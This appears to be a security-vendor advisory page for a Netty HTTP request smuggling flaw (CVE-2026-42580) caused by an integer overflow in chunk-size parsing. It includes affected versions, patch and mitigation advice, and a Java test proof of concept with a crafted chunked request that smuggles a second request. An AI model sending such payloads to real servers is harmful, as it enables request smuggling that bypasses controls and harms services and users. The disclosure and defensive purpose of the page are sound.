How severe is GHSA-m4cv-j2px-7723?

GHSA-m4cv-j2px-7723 has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-m4cv-j2px-7723?

GHSA-m4cv-j2px-7723 affects the following packages: io.netty:netty-codec-http (Maven), io.netty:netty-codec-http (Maven). Ecosystems affected: Maven.

How do I fix GHSA-m4cv-j2px-7723?

Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m4cv-j2px-7723 is resolved across your whole dependency graph.

How do I detect GHSA-m4cv-j2px-7723 in my Maven dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-m4cv-j2px-7723 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-m4cv-j2px-7723?

O3 pinpoints whether GHSA-m4cv-j2px-7723 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-m4cv-j2px-7723 actively exploited in the wild?

No public exploit code has been indexed for GHSA-m4cv-j2px-7723 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What type of vulnerability is GHSA-m4cv-j2px-7723?

GHSA-m4cv-j2px-7723 is classified as CWE-190 (CWE-190), CWE-444 (CWE-444). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-m4cv-j2px-7723 published, and has it been updated?

GHSA-m4cv-j2px-7723 was published on May 7, 2026 and was last updated on May 14, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

☕ Maven

GHSA-m4cv-j2px-7723

MEDIUM

GHSA-m4cv-j2px-7723 is a medium-severity (CVSS 6.5) CWE-190 vulnerability in io.netty:netty-codec-http. O3 Security confirms whether GHSA-m4cv-j2px-7723 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Also known asCVE-2026-42580

Published

May 7, 2026

Updated

May 14, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Real-World Exposure

2 pkgs affected

☕io.netty:netty-codec-http☕io.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details

io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result *= 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected Packages

2 total 2 fixed

Ecosystem	Package	Vulnerable range	Fix
☕Maven	`io.netty:netty-codec-http`	≥ 4.2.0.Alpha1&&< 4.2.13.Final	4.2.13.Final
☕Maven	`io.netty:netty-codec-http`	all versions	4.1.133.Final

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m4cv-j2px-7723 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m4cv-j2px-7723 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-m4cv-j2px-7723. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks. ### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int. The size is accumulated as follows: result *= 16; result += digit; The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body. ```java @Test public void test() { String requ

O3 Security · Impact-Aware SCA

Is GHSA-m4cv-j2px-7723 in your dependencies?

O3 detects GHSA-m4cv-j2px-7723 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works